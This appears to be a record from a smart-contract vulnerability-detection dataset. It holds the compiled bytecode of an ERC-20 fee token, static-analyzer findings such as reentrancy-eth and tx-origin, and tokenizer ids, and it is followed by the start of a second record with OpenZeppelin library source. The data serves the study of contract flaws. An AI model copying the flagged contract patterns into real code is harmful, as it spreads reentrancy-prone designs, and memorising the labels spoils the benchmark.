1916911515919091179055565b6005546000906001600160a01b031633146110e35760405162461bcd60e51b8152600401610bcd90612e5c565b506010805460ff19169055600190565b6005546001600160a01b0316331461111d5760405162461bcd60e51b8152600401610bcd90612e5c565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146111725760405162461bcd60e51b8152600401610bcd90612e5c565b6014839055601582905560168190558061118c8385612f23565b6111969190612f23565b6013819055601410156111eb5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610bcd565b505050565b6005546001600160a01b0316331461121a5760405162461bcd60e51b8152600401610bcd90612e5c565b60108054911515620100000262ff000019909216919091179055565b606060048054610bf590612e91565b6005546001600160a01b0316331461126f5760405162461bcd60e51b8152600401610bcd90612e5c565b7f0000000000000000000000009f12a9c15c9b82bdfe63b7126e0d0fea4dc2d6d86001600160a01b0316826001600160a01b031614156113175760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610bcd565b61132182826124cc565b5050565b6000610c853384610ed485604051806060016040528060258152602001613114602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190612492565b6000610c85338484611c4e565b6005546001600160a01b031633146113ab5760405162461bcd60e51b8152600401610bcd90612e5c565b6001600160a01b0382166000818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146114345760405162461bcd60e51b8152600401610bcd90612e5c565b60188390556019829055601a8190558061144e8385612f23565b6114589190612f23565b6017819055606410156111eb5760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b65657020666565732061742031303025206f72206c65737300006044820152606401610bcd565b6005546001600160a01b031633146114d75760405162461bcd60e51b8152600401610bcd90612e5c565b670de0b6b3a76400006103e86114ec60025490565b6114f7906005612ee2565b6115019190612f01565b61150b9190612f01565b8110156115665760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610bcd565b61157881670de0b6b3a7640000612ee2565b600a5550565b6005546000906001600160a01b031633146115ab5760405162461bcd60e51b8152600401610bcd90612e5c565b620186a06115b860025490565b6115c3906001612ee2565b6115cd9190612f01565b82101561163a5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610bcd565b6103e861164660025490565b611651906005612ee2565b61165b9190612f01565b8211156116c75760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610bcd565b50600981905560015b919050565b6005546000906001600160a01b031633146117025760405162461bcd60e51b8152600401610bcd90612e5c565b506012805460ff19169055600190565b6005546001600160a01b0316331461173c5760405162461bcd60e51b8152600401610bcd90612e5c565b6001600160a01b0381166117a15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bcd565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146118275760405162461bcd60e51b8152600401610bcd90612e5c565b6010805462ffff00191662010100179055565b6005546000906001600160a01b031633146118675760405162461bcd60e51b8152600401610bcd90612e5c565b600e54600f546118779190612f23565b42116118c55760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610bcd565b6103e882111561192a5760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610bcd565b42600f556040516370a0823160e01b81526001600160a01b037f0000000000000000000000009f12a9c15c9b82bdfe63b7126e0d0fea4dc2d6d816600482015260009030906370a082319060240160206040518083038186803b15801561199057600080fd5b505afa1580156119a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c89190612f3b565b905060006119e26127106119dc848761251f565b9061259e565b90508015611a1757611a177f0000000000000000000000009f12a9c15c9b82bdfe63b7126e0d0fea4dc2d6d861dead836125e0565b60007f0000000000000000000000009f12a9c15c9b82bdfe63b7126e0d0fea4dc2d6d89050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611a7757600080fd5b505af1158015611a8b573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b600080611ad08385612f23565b905083811015611b225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610bcd565b9392505050565b6001600160a01b038316611b8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610bcd565b6001600160a01b038216611bec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610bcd565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611c745760405162461bcd60e51b8152600401610bcd90612f54565b6001600160a01b038216611c9a5760405162461bcd60e51b8152600401610bcd90612f99565b80611cab576111eb838360006125e0565b60105460ff1615612166576005546001600160a01b03848116911614801590611ce257506005546001600160a01b03838116911614155b8015611cf657506001600160a01b03821615155b8015611d0d57506001600160a01b03821661dead14155b8015611d235750600554600160a01b900460ff16155b1561216657601054610100900460ff16611dbb576001600160a01b0383166000908152601e602052604090205460ff1680611d7657506001600160a01b0382166000908152601e602052604090205460ff165b611dbb5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610bcd565b60125460ff1615611f02576005546001600160a01b03838116911614801590611e1657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611e5457507f0000000000000000000000009f12a9c15c9b82bdfe63b7126e0d0fea4dc2d6d86001600160a01b0316826001600160a01b031614155b15611f0257326000908152601160205260409020544311611eef5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610bcd565b3260009081526011602052604090204390555b6001600160a01b038316600090815260208052604090205460ff168015611f4257506001600160a01b0382166000908152601f602052604090205460ff16155b1561202657600854811115611fb75760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610bcd565b600a546001600160a01b038316600090815260208190526040902054611fdd9083612f23565b11156120215760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bcd565b612166565b6001600160a01b038216600090815260208052604090205460ff16801561206657506001600160a01b0383166000908152601f602052604090205460ff16155b156120dc576008548111156120215760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610bcd565b6001600160a01b0382166000908152601f602052604090205460ff1661216657600a546001600160a01b0383166000908152602081905260409020546121229083612f23565b11156121665760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610bcd565b3060009081526020819052604090205460095481108015908190612192575060105462010000900460ff165b80156121a85750600554600160a01b900460ff16155b80156121cc57506001600160a01b038516600090815260208052604090205460ff16155b80156121f157506001600160a01b0385166000908152601e602052604090205460ff16155b801561221657506001600160a01b0384166000908152601e602052604090205460ff16155b15612244576005805460ff60a01b1916600160a01b1790556122366126e9565b6005805460ff60a01b191690555b6005546001600160a01b0386166000908152601e602052604090205460ff600160a01b90920482161591168061229257506001600160a01b0385166000908152601e602052604090205460ff165b1561229b575060005b6000811561247e576001600160a01b038616600090815260208052604090205460ff1680156122cc57506000601754115b15612384576122eb60646119dc6017548861251f90919063ffffffff16565b9050601754601954826122fe9190612ee2565b6123089190612f01565b601c60008282546123199190612f23565b9091555050601754601a5461232e9083612ee2565b6123389190612f01565b601d60008282546123499190612f23565b909155505060175460185461235e9083612ee2565b6123689190612f01565b601b60008282546123799190612f23565b909155506124609050565b6001600160a01b038716600090815260208052604090205460ff1680156123ad57506000601354115b15612460576123cc60646119dc6013548861251f90919063ffffffff16565b9050601354601554826123df9190612ee2565b6123e99190612f01565b601c60008282546123fa9190612f23565b909155505060135460165461240f9083612ee2565b6124199190612f01565b601d600082825461242a9190612f23565b909155505060135460145461243f9083612ee2565b6124499190612f01565b601b600082825461245a9190612f23565b90915550505b8015612471576124718730836125e0565b61247b8186612fdc565b94505b6124898787876125e0565b50505050505050565b600081848411156124b65760405162461bcd60e51b8152600401610bcd9190612c52565b5060006124c38486612fdc565b95945050505050565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60008261252e57506000610c89565b600061253a8385612ee2565b9050826125478583612f01565b14611b225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610bcd565b6000611b2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612923565b6001600160a01b0383166126065760405162461bcd60e51b8152600401610bcd90612f54565b6001600160a01b03821661262c5760405162461bcd60e51b8152600401610bcd90612f99565b612669816040518060600160405280602681526020016130c6602691396001600160a01b0386166000908152602081905260409020549190612492565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546126989082611ac3565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611c41565b3060009081526020819052604081205490506000601d54601b54601c546127109190612f23565b61271a9190612f23565b90506000821580612729575081155b1561273357505050565b600954612741906014612ee2565b83111561275957600954612756906014612ee2565b92505b6000600283601c548661276c9190612ee2565b6127769190612f01565b6127809190612f01565b9050600061278e8583612951565b90504761279a82612993565b60006127a64783612951565b905060006127c3876119dc601b548561251f90919063ffffffff16565b905060006127e0886119dc601d548661251f90919063ffffffff16565b90506000816127ef8486612fdc565b6127f99190612fdc565b6000601c819055601b819055601d8190556007546040519293506001600160a01b031691849181818185875af1925050503d8060008114612856576040519150601f19603f3d011682016040523d82523d6000602084013e61285b565b606091505b5090985050861580159061286f5750600081115b156128c25761287e8782612b62565b601c54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d806000811461290f576040519150601f19603f3d011682016040523d82523d6000602084013e612914565b606091505b50505050505050505050505050565b600081836129445760405162461bcd60e51b8152600401610bcd9190612c52565b5060006124c38486612f01565b6000611b2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612492565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106129c8576129c8612ff3565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612a4157600080fd5b505afa158015612a55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a799190613009565b81600181518110612a8c57612a8c612ff3565b60200260200101906001600160a01b031690816001600160a01b031681525050612ad7307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b29565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612b2c908590600090869030904290600401613026565b600060405180830381600087803b158015612b4657600080fd5b505af1158015612b5a573d6000803e3d6000fd5b505050505050565b612b8d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611b29565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b158015612c1257600080fd5b505af1158015612c26573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612c4b9190613097565b5050505050565b600060208083528351808285015260005b81811015612c7f57858101830151858201604001528201612c63565b81811115612c91576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114612cbc57600080fd5b50565b60008060408385031215612cd257600080fd5b8235612cdd81612ca7565b946020939093013593505050565b600060208284031215612cfd57600080fd5b8135611b2281612ca7565b600060208284031215612d1a57600080fd5b5035919050565b600080600060608486031215612d3657600080fd5b8335612d4181612ca7565b92506020840135612d5181612ca7565b929592945050506040919091013590565b803580151581146116d057600080fd5b600080600060608486031215612d8757600080fd5b8335925060208401359150612d9e60408501612d62565b90509250925092565b60008060408385031215612dba57600080fd5b8235612dc581612ca7565b9150612dd360208401612d62565b90509250929050565b600080600060608486031215612df157600080fd5b505081359360208301359350604090920135919050565b600060208284031215612e1a57600080fd5b611b2282612d62565b60008060408385031215612e3657600080fd5b8235612e4181612ca7565b91506020830135612e5181612ca7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612ea557607f821691505b60208210811415612ec657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612efc57612efc612ecc565b500290565b600082612f1e57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612f3657612f36612ecc565b500190565b600060208284031215612f4d57600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015612fee57612fee612ecc565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301b57600080fd5b8151611b2281612ca7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156130765784516001600160a01b031683529383019391830191600101613051565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156130ac57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122057fbb7536e68d305a188c28c98a2b47e52c7f1243f25c9c2cfaee86c9a623bdd64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 2683, 27421, 19481, 2620, 2094, 22407, 2497, 22932, 2575, 2546, 2692, 2497, 2094, 24096, 21926, 2475, 2497, 2581, 19841, 22203, 2692, 2098, 29292, 2063, 22394, 2549, 1013, 1008, 1008, 10147, 5620, 10376, 1011, 1002, 2208, 2591, 6971, 1024, 100, 4037, 1024, 16770, 1024, 1013, 1013, 7479, 1012, 10147, 5620, 10376, 18715, 2368, 1012, 4012, 1013, 100, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 10147, 5620, 10376, 1035, 9413, 2278, 100, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 10147, 5620, 10376, 1035, 9413, 2278, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,864
0x95D9ecC0303Dabe8c8B7b3478618Bc1F7dEB9AFB
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721Receiver /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Strings /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/IERC721 /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // Part: OpenZeppelin/openzeppelin-contracts@4.2.0/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() 